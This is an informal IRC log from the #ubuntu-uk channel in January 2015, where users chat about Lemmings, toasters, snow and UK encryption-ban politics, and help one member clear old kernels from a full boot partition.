<davmor2> Just had this in the morning mail and the question is where does she keep it all http://viduki.com/video/18937/Where_does_she_keep_it_all
<davmor2> morning all
<MooDoo> howdy davmor2
<zmoylan-pi> must be fun when she turns up in customs now...
<davmor2> zmoylan-pi: No it'll all be packed away in a magic box most magicians do
<JamesTait> Good morning all; happy Monday, and happy Clean Off Your Desk Day! :-D
<zmoylan-pi> happy... monday... isn't that a contradiction in terms?
<brobostigon> yep
<JamesTait> zmoylan-pi, "I'm James Reed, and you hate Mondays because..."
<brobostigon> "because they are mondays!!"
<JamesTait> Heh. :)
<zmoylan-pi> there's a song about not liking mondays.  it got famous because most normal healthy people don't like mondays
<davmor2> JamesTait: I just swept my arms along the desk clean
<zmoylan-pi> i'd only knock my laptop, printer, tablet and screen off my desk.  the 2 phones would bounce but the rest would be damaged
<zmoylan-pi>  
<davmor2> zmoylan-pi: by the boomtown rats
<zmoylan-pi> yes, and it remains popular because people will always hate mondays, if i were to flick through the music stations here today i'd find it been played somewhere.
<TwistedLucidity> For some people Monday is the second working day.
<popey> http://www.newsbiscuit.com/2015/01/10/courage-award-for-man-who-threw-out-old-computer-cables/ made me chuckle
<zmoylan-pi> but... but if threw out all my old computer cables it would destabilise the scrap metal market!! :-)
<MooDoo> lol love it
<zmoylan-pi> you never know when you'll need a 9->25 pin modem serial cable...
<MooDoo> :)
<zmoylan-pi> mind i did find an external battery powered modem over the weekend so i might have to hang onto that cable...
<daftykins> morning o/
<daftykins> zmoylan-pi: yay, you'll never leave us! ;)
<zmoylan-pi> i think my nokia dumpphone would last longer on irc than my psion with battery powered modem with fresh batteries.
<daftykins> hahaha
<zmoylan-pi> last time i tried it was on irc for over 6 hours with no noticeable affect on battery gauge
<daftykins> idling though?
<daftykins> i have a caramel lattÃ©, a packet of salt and malt vinegar mccoys - AND a triple pack of sandwiches from Boots' meal deal \o/
<zmoylan-pi> screen on displaying all the comments flicking past
<daftykins> apparently there's a TP-Link WAP out there playing up...
 * zmoylan-pi hands daftykins the hammer of warrantyschmarranty... :-)
<daftykins> ah the WAP compliance enforcer, didn't know you had one!
<zmoylan-pi> it's the last word in fixing intermittent hardware
<daftykins> what i'll do is reach into the cupboard and yank its' cables, possibly after dangling it by such
<daftykins> then i'll threaten it with a firmware update
<daftykins> if it doesn't play ball after that, it'll get the flashing of its' life.
<zmoylan-pi> i have once sworn at a hard drive till it started working again.
<daftykins> not irish, are ye?
<zmoylan-pi> irish yes, does it show :-)
<daftykins> pretty sure my mates dad, who i believe is northern Irish, would be able to shout at his heart condition to fix it
<zmoylan-pi> if you can't bend the language till inanimate hardware starts working again i'd be ashamed to call myself irish :-)
<daftykins> :D
<daftykins> did your student spot a windows 7 Dell in the end?
<zmoylan-pi> sent off the info, will find out this weekend at ad&d game if she had actually looked.
<daftykins> huzzah!
<zmoylan-pi> was actually in oxfam in dublin where they sell second hand laptops.  looked nice i have to say if a little low spec
<daftykins> just jumped back on the Dell business laptops outlet page, as the old girl has been nagging about having one
<zmoylan-pi> got 3 dvds for less than a tenner
<daftykins> crikey! guess they'll be good for the coffee table as coasters *whistle*
<zmoylan-pi> ripped fine
<zmoylan-pi> no obvious scratches on surface either.  well cared for
<daftykins> ugh i've got a wordpress install for someone on a debian box that despite setting www-data as owner and what not on the folders of, was still refusing auto upgrades
<daftykins> isn't really the end of the world, but it's on ~3.7 and not the latest 4.1
<davmor2> TwistedLucidity: yeah but newzealanders get friday off for working sunday ;)
<DJones> SOme people have too much time on their hands http://www.bbc.co.uk/news/30743866
<zmoylan-pi> on plus side if clippy shows up you can take him out with dynamite :-)
<diddledan> morning
<shauno> o/
<daftykins> o/
<MooDoo> o/
<zmoylan-pi> \o
<MooDoo> \o/ /o\ o= A :)
<daftykins> XD
<diddledan> is /o\ a bloke going "oh god, my head!"
<shauno> in my head, /o\ is a lemming doing the "oh no" stance before it explodes
<daftykins> it reminds me of lemmings just b....
<daftykins> :D
<diddledan> lol
<diddledan> yeah that fits
<daftykins> Lemmings1.zip
<daftykins> O_O
<zmoylan-pi> oh no...
<zmoylan-pi> when i got the demo of lemmings on cover of gaming mag no work was done at work for about a week. trying to prise the disk out of my bosses pcs when they kept nicking it...
<diddledan> http://grahamcluley.com/2015/01/hacked-road-sign/ (bad language ahead)
<daftykins> wow. just wow. i'm blown away, this is a zip from the floppy disk i had as a kid
<daftykins> only just noticed there's a .NFO on it
 * daftykins tuts
<diddledan> daftykins, oh dear
<diddledan> daftykins, n0rty you
<daftykins> weren't me guv
<daftykins> i was but a wee lad
<MooDoo> daftykins: jolly roger :p
<daftykins> it was probably an uncle
<diddledan> we had a copy of "prince of persia" which had a nice asciiart message when you left the game that it was "cracked by the firm"
<ali1234> if you had lemmings on 1 floppy disk it was definitely pirate
<ali1234> the real one came on two disks
<daftykins> :O
<zmoylan-pi> we had legit version, i only remember 1 disk
<daftykins> zmoylan-pi: maybe you weren't too good and never advanced ;)
<zmoylan-pi> or i only remember the impact of the demo version on 1 disk...
<zmoylan-pi> it was a few years ago
<daftykins> wow now i just found the kinda demo file from the release group
<daftykins> just ran it in DOSbox
<daftykins> "the humble guys" 1991
<shauno> there's legit versions on one disk too.  repacks when it comes in bundles
<shauno> like http://www.amazon.co.uk/dp/B001E4ERNW
<diddledan> daftykins, they went legit a few years ago and started the humblebungle
<diddledan> :-p
<ali1234> proof: https://plus.google.com/photos/+AlistairBuxton/albums/6103461971152885297/6103461972364251298?pid=6103461972364251298&oid=117474986382867317779
<daftykins> https://www.dropbox.com/s/hql7k9sqlleolq5/lemmings.jpg?dl=0
<ali1234> oh, the pc version?
<daftykins> level 5 *cough*
<daftykins> ali1234: yep
<daftykins> https://www.dropbox.com/s/hql7k9sqlleolq5/lemmings.jpg?dl=0
<crushpest> Hi all. Need some help
<daftykins> diddledan: you scared that user off :(
<daftykins> ok i give up at 15
<daftykins> that one just looks like far too much effort
<diddledan> what did I do?!
<diddledan> I know I'm an ugly mofo, but still
<bigcalm> Good morning peeps :)
<daftykins> howdy
<daftykins> much much rain here
<popey> hello bigcalm
<popey> bigcalm: i recently discovered that the death star and star destroyer are the only lego kits which have darth vader in them
<awilkins> Can you get Vader separately?
<ali1234> "Darth Vader has appeared in a total of seventeen sets, being recognized as one of the most frequently packaged minifigures"
<davmor2> popey: nah there is vaders tie-fighter too
<ali1234> http://lego.wikia.com/wiki/Darth_Vader
<popey> oooh
<popey> so thats wrong then, good-o
<popey> Sam wanted one
<diddledan> from hantslug ml: http://www.newsbiscuit.com/2015/01/10/courage-award-for-man-who-threw-out-old-computer-cables/
<bigcalm> popey: my millennium falcon has a Darth Vader in it
<diddledan> o_O
<diddledan> that's just wrong
<awilkins> Can't believe they are selling those minfigs on eBay for upwards of Â£20 though
 * popey can believe this
<ali1234> why not? minifig blind bags which contain 1 random minifig are like Â£5
<davmor2> popey: http://www.ebay.co.uk/itm/like/171345526796?limghlpsr=true&hlpv=2&ops=true&viphx=1&hlpht=true&lpid=108&chn=ps&device=c&adtype=pla&crdt=0&ff3=1&ff11=ICEP3.0.0-L&ff12=67&ff13=80&ff14=108
<daftykins> diddledan: lmao
<popey> ali1234: is your game SDL2 (I may have asked this already)
<ali1234> yes
<davmor2> popey: also vader is in the millennium falcon too
<popey> wonder how well it would run on nexus 4 under mir
<ali1234> which one?
<popey> the 3d flying thing
<ali1234> that wont work at all. ogre3d has a hard dependency on X11
<popey> ah
<ali1234> if you could lean on them to replace all the stupid platform specific backends with a single one that uses SDL2 that would be great
<popey> well, there's a fallback of xmir
<ali1234> building it is a nightmare due to all the platform specific code, and it only exists to do... exactly the same things SDL does
<ali1234> except not as well
<daftykins> my friends cousin is the ogre3d main creator
<ali1234> and not handling any input or sound
<popey> https://plus.google.com/+WillCooke/posts/eNUArFBzh3W
<ali1234> also that game is pretty hardware intensive
<ali1234> and it's not because of the graphics either
<diddledan> err. wtf. http://www.independent.co.uk/life-style/gadgets-and-tech/news/whatsapp-and-snapchat-could-be-banned-under-new-surveillance-plans-9973035.html
<diddledan> https no more
<awilkins> diddledan, Sounds like he wants to revive key escrow like Clipper
<awilkins> "No form of communication we cannot read" is a nice sentiment but you can only do it with swingeing draconian penalties for actual proper encryption
<awilkins> Or by forcibly making the whole shebang into a dystopian "Right to Read" scenario
<diddledan> awilkins, aye, it's a scary concept that he proposes, and he probably doesn't realise just how bad it would be
<awilkins> More that he realises exactly what he's asking for
<awilkins> Any compelling evidence that the Hebdo shooters used encrypted comms? Not so far.
<diddledan> not that I've seen, no
<awilkins> So it's just a power grab
<diddledan> it's jumping on the back of charlie hebdo the same way 9/11 was used to grab power
<awilkins> And then people wonder why a few claim these acts are false-flag black ops
<diddledan> people will agree to a lot more when they're scared
<awilkins> From his speech "the attacks in Paris once again demonstrated the scale of the terrorist threat that we face"
<awilkins> 12 people
<diddledan> indeed
<awilkins> Traffic related deaths in UK per year : 2175 (or 6 per day)
<awilkins> Do we declare war on motorism? Do we buggery.
<bashrc_> are they banning freedom now? Should I head to the bunker and raise the ubuntu flag?
<diddledan> it's this type of government that scares me, not the potential for terrorism
<awilkins> The potential for terrorism is ALWAYS there. Pervasive comms surveillance will never stop it, because you can avoid it all with basic common sense and cold war tradecraft
<diddledan> I worry that I worry too much though
<awilkins> Bear in mind that Charlie Hebdo must have annoyed a lot of capitalists over the years too
<diddledan> I cannot convince my family that misgovernment is an issue tho - like I tried to explain why the ISP filtering requirement was a bad thing, but they just wouldn't accept what I was saying
<diddledan> probably find I wasn't articulating well though, I guess
<awilkins> Excellent tactic though, isn't it "You don't want to protect the children YOU WANT TO LOOK AT NAKED LADIES"
<diddledan> yeah, "I opted out of the defaul-on filtering". reply: "oh, you're a pervert?!"
<bashrc_> the problem is when the government itself becomes a terrorist and preys on its population
<diddledan> I mean, yes, I am a pervert, but that's not the point!
<awilkins> They're solidly in that camp already
<awilkins> Today I learned that Osborne is holding back Â£30B of National Insurance payments
<diddledan> o_O
<diddledan> that's kind of him
<bashrc_> holding back?
<awilkins> Because legally he can't spend it on anything but i) welfare ii) NHS and that doesn't fit into their plans to demoralize the workforce and privatize the NHS
<awilkins> That's about 1/3 the NHS budget or 1/4 the welfare budget depending on where your priorities lie
<bashrc_> he could abolish all food banks with that
<awilkins> http://www.welfareweekly.com/opinion-30-billion-national-insurance-surplus-kick-teeth-starving-families/
<awilkins> I read someone's paper about benefit sanctions the other week
<awilkins> That's state-sponsored terrorism if anything is
<awilkins> People sanctioned for being 2 minutes late for a Job Centre appointment, because they went to a job interview. And they'd have been sanctioned for missing it.
<bashrc_> been there, done that
<awilkins> People being sanctioned for having a target of 6 job applications a week, applying for 4 on Monday and 4 on Friday.
<awilkins> The accounting is done Tuesday! Sorry! Sanctioned!
<bashrc_> sanctions should be banned imho. I've seen how they're used at the sharp end
<bashrc_> and it's pretty ugly
<awilkins> I'm pretty convinced of the Universal Basic Income idea now
<bashrc_> me too
<bashrc_> with sanctions you see good people who are trying to do the rihgt thing, and who sometimes also have responsibilities to children, being punished by inflexible rules designed to trick them. People get pushed into destitution and food banks
<diddledan> self-employed tax isn't fun either - apparently they require that in your first year self-employed you need to pay two years' tax
<ali1234> luckily for me 2x nothing is still nothing
<ali1234> a picture of two floppy disks with no caption is my most popular G+ post of all time
<awilkins> Did it occupy exactly 2.88MB ?
<awilkins> ali1234, Don't you work for BitCoin?
<ali1234> awilkins: no that's azelphur
<awilkins> Fairy snuff
<ali1234> i would accept bitcoins but nobody wanted to pay me with them yet
<awilkins> Still have to pay your taxes :P http://www.thisismoney.co.uk/money/experts/article-2550949/Do-bitcoins-tax-liability.html
<ali1234> only if i earn more than Â£10000
<awilkins> Well, that's fine. No problem with honest taxpayers, even if their tax bill is zero
 * Azelphur waves
<Azelphur> and yea, I know they have tax liability, that's been that way for a while
<ali1234> it's always been the way
<ali1234> even if you are paid in carrots you still have to pay tax
<Azelphur> new world currency, I demand to be paid in carrots.
<ali1234> btw this rule even applies to intangible goods
<ali1234> eg if you fix my car and i mow your lawn we both still have to pay tax
<shauno> I wonder what 20% of a mowed lawn is
<ali1234> whatever your accountant can argue
<Azelphur> I'd love to know how they enforce that
<ali1234> audits
<Azelphur> auditing my front yard
<Azelphur> serious business
<shauno> curious, do you say yard or garden?
<ali1234> garden
<Azelphur> I slip between American and English constantly
<dogmatic69_> gah, cant update because the boot partition is full
<daftykins> heh
<daftykins> old kernels?
<dogmatic69_> yep
<daftykins> tune2fs to remove root reservation?
<shauno> surely root owns those already anyway?
<dogmatic69_> I have been through this before, loading some kind of live disk, resized reboot, 5 times....
<shauno> just remove some old ones?
<dogmatic69_> I resized it to something like 1gb reboot, and it was only half what I resized
<daftykins> yeah why are you keeping 'em 0o
<diddledan> apt-get autoremove usually gets rid of any cruft
<dogmatic69_> I am not especially keeping anything
<dogmatic69_> http://pastebin.com/yHtk0hfR
<dogmatic69_> apt-get autoremove cleaned up 30mb now
<dogmatic69_> \o/
<dogmatic69_> 15%...
<daftykins> just nuke a few of those earlier ones
<daftykins> dpkg -l | grep linux-image-
<dogmatic69_> http://pastebin.com/aAEWfWMh
<dogmatic69_> Current is Linux optimus-prime 3.13.0-40-generic
<shauno> I dunno what I just watched on film4, but I think it's won the award for "worst movie I've ever watched"
<dogmatic69_> shauno: Gigli?
<shauno> "storage 24"
<dogmatic69_> maybe you want to update this https://en.wikipedia.org/wiki/List_of_films_considered_the_worst
<dogmatic69_> :)
<daftykins> dogmatic69_: copy the package names and just run "sudo apt-get remove linux-image-3.13.0-35-generic linux-image-3.13.0-36-generic ..." but leave two current ones, then do an apt-get autoremove too
<dogmatic69_> I found some command last time that done a sed and removed it all.. Will try find it again
<daftykins> what's the point when you can copy and paste quicker :>
<daftykins> in fact this'll give you a fair chunk of room
<daftykins> "sudo apt-get remove linux-image-3.8* "
<daftykins> no point having old 3.8's on
<shauno> wasn't there some 'janitor' thing that handled this?
<daftykins> oh there's only one anyway
<diddledan> shauno, autoremove usually does it
<diddledan> apt helpfully tells you when it can do that, too
<diddledan> "the following packages are no longer required. use apt-get autoremove to remove them."
<daftykins> that autoremove only does it on newer versions
<dogmatic69_> used synaptic to remove them, now have 70mb free
<dogmatic69_> only .39 .40 left
<daftykins> \o/
<dogmatic69_> actually... 150mb free
<dogmatic69_> double \o/
<dogmatic69_> ta
<dogmatic69_> and upto date now
<dogmatic69_> ga... its installing .44 :/
<dogmatic69_> more fud
<daftykins> :D
<diddledan> I'm not sure a new kernel qualifies as "fear uncertainty and doubt"
<mapps> hi all
<mapps> ;]
 * zmoylan-pi is battening down the hatches for 1.5 of snow. http://www.breakingnews.ie/ireland/up-to-3cm-of-snow-to-fall-tonight-and-tomorrow-says-met-eireann-657809.html
<zmoylan-pi> 1.5"
<shauno> sweet
<mapps> snow in ireland eh
<zmoylan-pi> makes a change from the rain
<shauno> lol.  what an optimist
<shauno> I know galway.  it'll mean no change at all.  just rain
<zmoylan-pi> or the fog. or the mist. or the hail. or the sleet. or the... well that's about it really :-)
<diddledan> yey for netflix thinking I'm american
<shauno> heh.  mine's kinda messed up for that :/
<shauno> the program guide bit thinks I'm american, but the playback bit doesn't.  so it gives me a wonderful selection of stuff to watch, and then laughs in my face when I try to watch them
<diddledan> lol
<diddledan> I can't watch a series without interrupting it because it errors when switching between episodes
<shauno> ugh, just read that stuff about trying to ban encrypted chat services
#ubuntu-uk 2015-01-13
<m0nkey_> ban encrypted chat?
<diddledan> shauno, as far as I can tell it's actually encrypted everything, just that the guardian reported it as chat
<shauno> http://bits.blogs.nytimes.com//2015/01/12/british-prime-minister-suggests-banning-some-online-messaging-apps/
<m0nkey_> classic case of the management not understanding the technology behind the gui.
<zmoylan-pi> trying to ban encrypted chat is silliest idea ever.  codes existed before the internet and will exist after it's been replaced by something else
<m0nkey_> Seems the rumour mill is running for Beetlejuice sequel.. http://comicbook.com/2015/01/11/beetlejuice-sequel-to-be-set-in-present-day-and-bring-back-micha/
<m0nkey_> Wait, I'm using encrypted chat right now
<m0nkey_> SSL all the way Client->ZNC->Freenode
<diddledan> m0nkey_, I'm encrypted too
<diddledan> port 6697 ftwe
<diddledan> ftw**
<shauno> it's not working very well, I can see you just fine :)
<m0nkey_> lol
<zmoylan-pi> mine' so secure that it encrypts my passwords if i type them in.   ****** see :-)
<diddledan> nipplebottom
<diddledan> mine doesn't
<m0nkey_> hunter2
<m0nkey_> did you see that?
 * zmoylan-pi scribbles down passwords...
<m0nkey_> welp. work is finally giving me a cell phone to be available all the time.
<m0nkey_> they wanted to give me an iphone *gag*
<diddledan> yey/
<diddledan> ?
<m0nkey_> for a samsung s5, they wanted money from me. nope.
<zmoylan-pi> my brother when handed a mobile phone back in the 80s to be available all the time asked how much he was been paid extra for that. when they said nothing he handed the phone back.
<m0nkey_> i think they're giving a samsung note 3
<m0nkey_> zmoylan-pi, they'll be giving me more money for on-call
<m0nkey_> it's old tech, but who cares.. work phone
<m0nkey_> Was Google right? http://www.engadget.com/2015/01/12/microsoft-google-flaw-fight/
<shauno> when a job posting mentions "SMPT mail server knowledge" .. man that's almost begging for a smart-assed reply
<m0nkey_> Yes, yes it does.
<shauno> hm
<shauno> > Lucini&Lucini's mission is to be at the cutting edge of high volume email transfer technology and to become the global leader in the e-mail marketing business.
<shauno> no, that doesn't sound fun
<diddledan> the global leader in e-mail marketing. as in spam0rs
<m0nkey_> that can't speel SMTP right either
<diddledan> well they don't care about the mechanics of it as long as it appears in your face
<zmoylan-pi> supprised they don't just print it out wrap it around brick and chuck it through peoples windows :-)
<zmoylan-pi> probably costs...
<diddledan> yeah, bricks are expensive. they'd need to invent something to take a brick out of people's own homes and throw it through that home's window
<mapps> hey all
<mapps> decided on a new holiday
<mapps> going to vietnam in september
<mapps> :D
<diddledan> jee, you go on holiday a lot
<mapps> sure
<mapps> but i have no kids..no wife..no partner
<mapps> and i earn good yen
<mapps> :D
<mapps> going to UK next week for a week back to Knightsbridge for a week..then Hamburg in Febuary ...then my friends coming here march ...April Slovakia.....May/June Ibiza ...September Vietname
<diddledan> due before the lords either today or tomorrow: http://www.bbc.co.uk/news/uk-politics-30166477
<mapps> lol pointless will mean jothing
<mapps> identify criminals..sure
<diddledan> "tie an ip to a user" <-- what about a city library that lets anyone use any computer at any time and they all access the net via a single ip
<mapps> yep
<mapps> its nonsense
<diddledan> again it's politicos hearing a bit of technical verbiage and making a policy about it without actually asking anyone or finding out what it actually does
<mapps> yea
<diddledan> I wish I had some polical clout to be able to push through the technical angle
<diddledan> seems the government hasn't got anyone in it with any technical background
<diddledan> although the Government Digital Service are helping a bit for gov-website-related stuff
<diddledan> and they pushed through the idea that odf be used instead of docx
<diddledan> https://gds.blog.gov.uk/ <-- there's only 5 of them tho
<diddledan> or maybe that's just the service desk?
<mapps> who cares eh..just ignore most gov stuff
<mapps> underqualified people get paid fortunes..we all know that
<mapps> :D
<diddledan> the problem is it affects us lowly people by eroding our liberties
<mapps> hmm
<mapps> think il watch that guardians of the galaxy tomorrow:D
<mapps> hopefully not another let down
<diddledan> it's fun
<mapps> oh
<diddledan> I really enjoyed it
<mapps> you seen it?
<mapps> nice
<diddledan> yup
<diddledan> I love the dancing groot at the end
<diddledan> in fact, I might watch it again
<mapps> did you watch the interview? as usual massively overrated
<mapps> typical seth rogen film imo
<diddledan> no, not yet
<diddledan> I don't think I really want to
<diddledan> it's only because of the fiasco over north korea that I even became aware of it
<diddledan> I still have a hard time believing it was actually the koreans who attacked sony
<mapps> ye same
<mapps> i didnt know about it before and i reall dont rate seth ogen don think he's half as funny as he's made out to be
<diddledan> here's a fun one: http://www.bbc.co.uk/news/technology-30777834
<diddledan> nearly time to wake up
<mapps> u working today?
<diddledan> yup
<mapps> sheesh
<mapps> what time
<diddledan> 9ish till 5ish
<mapps> not slept at all?
<mapps> damn
<mapps> but you work from home yea?
<diddledan> mostly, yeah
<mapps> far to the office/
<mapps> ?
<diddledan> it is when I rely on public transport :-p
<mapps> ah
<mapps> so 5mins in a car;p
<mapps> heh
<diddledan> yup
<mapps> watching the tennis;p
<diddledan> ooh, chrome 39 just downloaded
<mapps> that was tense
<mapps> radswanka v mugarazo
<mapps> i stood to lose Â£2100 if radswanka won
<mapps> O_o
<mapps> brooklyn nine nine is the best comedy
<mapps> :D
<shauno> oh man, don't tell me it's morning already :/
<mapps> yep
<mapps> no sleep as ever?:P
<diddledan> might be old news: http://www.huffingtonpost.com/2015/01/08/life-on-mars-photos-scientist_n_6425392.html
<zmoylan-pi> some announcement on friday about beagle 2 i think i saw somewhere
<mapps> night folks
<mapps> sleep time for me
<mapps> whats the advantage of a beagle v a pi?
<mapps> i like my pis:)
<zmoylan-pi> beagle has more power
<zmoylan-pi> beagle 2 as in mars probe a few years back
<mapps> oh
<mapps> isnt there a board called beagle
<mapps> i meant
<mapps> heh
<zmoylan-pi> also a board based pc called beagle
<mapps> yea
<zmoylan-pi> it's thunder was stolen by sheer number of pis shifted
<zmoylan-pi> http://www.theguardian.com/science/2015/jan/12/beagle-2-mars-lander-remains-red-planet
<mapps> yea
<Guest21717> morning all
<MooDoo> sigh
<popey> Morning!
<popey> ali1234: https://lists.ubuntu.com/archives/ubuntu-devel/2015-January/038635.html "we aim for switching from upstart to systemd on the system side (not
<popey> yet user session) this cycle [1]."
<ali1234> yeah, i guess we're stuck with 1,232 running copies of each indicator service for now
<ali1234> i'm pretty sure the badness of upstart is the reason why indicators disappear in unity as well
<ali1234> pretty much you either have multiple copies or none
<ali1234> it never used to happen with the old init anyway
<davmor2> Morning all
<diddledan> allo
<JamesTait> Good morning all; happy Skeptics Day! :-D
<MooDoo> morning
<diddledan> JamesTait, I'm not sure that's a real day
 * Laney looks that up to be sure
<JamesTait> diddledan, I see what you did there. ;)
<knightwise> good morning peeps
<daftykins> morning
<daftykins> i think i brought up doctors surgery wait times the other day, just called this morning and got offered 40 mins later and 2hrs later \o/
<MooDoo> good old DPD
<daftykins> hmm?
<MooDoo> delivery service that is pretty cool
<daftykins> yeah i've had some stuff through them, though over here i think we just have people in white vans as representatives to the more obscure couriers :>
<MooDoo> just had my new server delivered
<daftykins> ooh what kind?
<MooDoo> dell 1950 r1, old server but works well
 * bashrc_ uses a netbook as his server
<daftykins> shame on you :P
<daftykins> hmm user in #ubuntu claims a proxy isn't working with trusty and utopic mini.isos
<daftykins> wonder if that's a bug
<ali1234> doubt it
<daftykins> yeah would be a bit dramatic i guess
<diddledan> the proxy is in his installed system on the same computer he's running the live cd on? :-p
<MooDoo> daftykins: it's my second server as i'm playing with replication
<brobostigon> morning boys and girls.
<MooDoo> brobostigon: morning
<brobostigon> morning MooDoo
<davmor2> JamesTait: I struggle to believe that today and national skeptics day and I think you just make these things up now ;)
<diddledan> davmor2, septic
<diddledan> (misspelling intended)
<davmor2> diddledan: I prefer to think of myself as venomous but I can live with that ;)
<JamesTait> davmor2, but you still believe I'm not a bot? ;)
<davmor2> JamesTait: only cause I've met you unless you are a self aware bot that hires an actor to stand in for you :)
<diddledan> davmor2, he has a wire
<JamesTait> Darn, rumbled!
<MooDoo> wire?  he nsa now too?
<davmor2> MooDoo: no he is in England it is GCHQ
<diddledan> davmor2, sure it's not Dave's Super Encryption-buster?
<diddledan> I think the prime minister needs a computer that can only tell him "I'm sorry, Dave" when he tries to craft new leglislation
<daftykins> :D
<davmor2> Hello Dave
<daftykins> i'm a Dave too ;x
<Myrtti> anyone paying for Which?
<daftykins> i think my mum has a sub, but it might have expired
<diddledan> I'm sorry, Dave. I mean daftykins
<daftykins> :>
<daftykins> so, i've got shingles!
<diddledan> oh bugger
<diddledan> that's not fun at all :-(
<daftykins> eh doesn't seem anything beyond unsightly at the moment
<diddledan> who did you upset to get lumbered with that?
<daftykins> hehe
<Myrtti> mmm, might be worth the one pound trial... our toaster is pissing me off, George Foreman has lost a lot of the non-stick, kettle needs replacing and I'm getting tired of looking at the airer in the living room
<diddledan> I've heard it can get quite uncomfortable (i.e. way more than just itchy)
<daftykins> apparently it's just a reoccurence of childhood pox
<daftykins> i'd heard the word before but didn't know anything about it
<diddledan> yeah shingles is just chicken pox as an adult
<daftykins> i can tell it's there when i'm in the shower, bit of soreness under the water etc
<daftykins> but nothing really to it
<diddledan> hopefully that's the worst it'll get
 * diddledan crosses fingers
<daftykins> i wonder if i should avoid this trip to England at the weekend
<daftykins> hehe, ty sir
<Myrtti> ooh, it looks like I've had MPR shots as a child
<daftykins> i'm pretty jammy, my doctors surgery is now 50m around the corner and Boots is 50m the other way :D
<daftykins> town living is super easy
<popey> Myrtti: does irssinotifier crash much for you?
<Laney> Myrtti: quid trial was quite useful when I moved house just now, you do have to phone up and suffer through some upselling attempts to cancel it though
<Myrtti> popey: not at all
<popey> Myrtti: there is only one true toaster. http://www.amazon.co.uk/Dualit-Slice-Stainless-Toaster-40352/dp/B00008BQZC
<popey> All other toasters are crap [FACT]
<Myrtti> popey: we have enough big loafs and Finnish bread that requires a four slice two slot toaster that that wouldn't do... sadly.
<daftykins> Â£150 for a frickin' toaster!
<popey> The _best_ toaster
<daftykins> heh
<daftykins> a bold claim!
<diddledan> does anyone know how I can get skype out of the old-style systray now that we have the indicator tray instead meaning I can't see the skype icon
<popey> you dont see a skype icon?
<diddledan> nupe
<popey> what version of skype and what desktop?
<diddledan> unity desktop. skype whatever I downloaded a couple hours ago
<popey> 4.3.0.37
<popey> works fine here
<diddledan> is it set to minimise to tray?
<popey> no
<diddledan> well then :-p
<popey> but it is in the tray
<diddledan> hmm
<diddledan> odd
<popey> oh, hang on
<popey> General -> "Start skye minimised in the system tray" or some other option?
<diddledan> that one
<popey> no, not ticked
<daftykins> is it PPA based these days or a website download?
<popey> i close the window, it disappears from the launcher but i see the icon in the indicator area
<popey> works as expected
<diddledan> I got it off skype.com
<popey> same
<diddledan> just killed it in the terminal and restarted - still no tray icon
<diddledan> tray/indicator
<popey> do you have that thing ticked?
<diddledan> I do
<daftykins> latest version on Windows drives me spare these days, if you get sent a new message and window switch, you have to click into the text entry box
<popey> untick it
<popey> and try again
<diddledan> I can't
<diddledan> I need to get skype in the foreground to untick it
<popey> get someone to call you â»
<diddledan> I can't get skype in the foreground because there's no indicator icon
<popey> that'll bring it to the front
<popey> gimmie your skype id, I'll call you
<Myrtti> oo. http://www.amazon.co.uk/Sage-Appliances-Smart-Brushed-Finish/dp/B00G6FW0DI/ref=sr_1_39?s=kitchen-appliances&ie=UTF8&qid=1421149509&sr=1-39
<popey> best thing about dualit is it doesn't popup
<popey> so your toast stays toasty
<daftykins> popup blocker for your toaster \o/
<Myrtti> "actually a Breville in Sage clothing"
<popey> heh
<Myrtti> bah.
<daftykins> 1.65 kW O_O
<MooDoo> isn't that what the flux capacitor needs? lol
<davmor2> diddledan: alt+tab? clicking on the icon in the launcher bar?
<Laney> 1.21 jiggawats
<Laney> tts
<davmor2> MooDoo: there is always a geek on hand to spoil the joke isn't there, Oh hello Laney ;)
<daftykins> :D
<Laney> HEY THERE!
<MooDoo> davmor2: lol
<MooDoo> hay davmor2 recommendations for replication on ubuntu gluster?
<davmor2> MooDoo: wrong person dude I would possibly have a word with Laney and popey and maybe AlanBell they may know more :)
<MooDoo> ok
<popey> nope
<davmor2> MooDoo: if you have juju in place then juju does really easy replication fullstop :)
<awilkins> +1 for Dualit
<Laney> definitely not, sorry
<awilkins> Russian Army Truck of toasters
<awilkins> Primitive but very good at it's job and just keeps going
<davmor2> MooDoo: https://www.howtoforge.com/how-to-install-glusterfs-with-a-replicated-volume-over-2-nodes-on-ubuntu-14.04
<davmor2> MooDoo: no idea if that is good bad or indifferent but I hope it helps :)
<Laney> bah, missed a call at the last second
<daftykins> sucks when you lift up to hear someone putting it down :D
<davmor2> popey: keep ringing Laney like that it seems to be annoying him......damn did I say that on the public channel
<Laney> spoofing his caller ID to a nottingham number
<Laney> clever popey!
<davmor2> Laney: the most annoying for me is answer and discover it is one of those call centers and they hang up automatically because there are no people available to forward the call to
<Laney> answer "hello?" <pause> <recorded message> hello, this is a courtesy call from EDF energy regarding your recent customer service query
<Laney> NOOOOOOOOOOOOOOO
<Laney> got one of those yesterday
<daftykins> =/
<daftykins> here's a fun blast from the past - https://www.dropbox.com/s/m6tkkt9t8bnjviv/IMG_0030.JPG?dl=0
<daftykins> Dell latitude LS400 i got off ebay a stack of years ago, 400MHz PIII if i remember
<diddledan> lightning here
<Laney> very very frightning?
<daftykins> scaramoosh, scaramoosh, will you do the fandango?
<daftykins> or something along those lines :>
 * diddledan does the fandango
<diddledan> lol and gog.com just emailed me as I state that suggesting I preorder grim fandango
<daftykins> \o/
<daftykins> oh yeah that remake?
<diddledan> they called it a "remaster"
<diddledan> hell just broke loose
<diddledan> or is it hale?
<daftykins> hail?
<diddledan> yeah, that too
<daftykins> i'm glad i was able to put down Lemmings yesterday
<diddledan> lol
<awilkins> You brute!
<daftykins> lol
<awilkins> Did you use drugs or just whap them over the head with a shoe?
<daftykins> just aimed them at a pier down the harbour here :(
<awilkins> "Let's Go!"
<awilkins> I think the wee "Urrrgh!" noise they made when they went splat was the best bit of that game
<diddledan> I like the nuke button
<daftykins> not sure #1 that i have really has that many sounds
<awilkins> http://www.elizium.nu/scripts/lemmings/
<awilkins> https://www.youtube.com/watch?v=7SgDS-16UFA
<daftykins> alright that killed long enough
<Laney> snow :-o
<diddledan> :-o
<daftykins> business like showbusiness?
<daftykins> whereabouts?
<Laney> NG
<Laney> supposed to go help someone push his car off his drive later too
<daftykins> :S
<Laney> not going to settle unless it picks up though
<Laney> turning to rain now :<
<Laney> #ubuntu-uk-weather-updates
<popey> \o/ snow
<popey> no snow here
<popey> #uksnow
 * knightwise waves at SnoPey!
<zmoylan-pi> snopey... is that the one with the dog with flying goggles on the doghouse?
<diddledan> corey doctorow has waded into the "I'm sorry, Dave" debate: http://boingboing.net/2015/01/13/what-david-cameron-just-propos.html
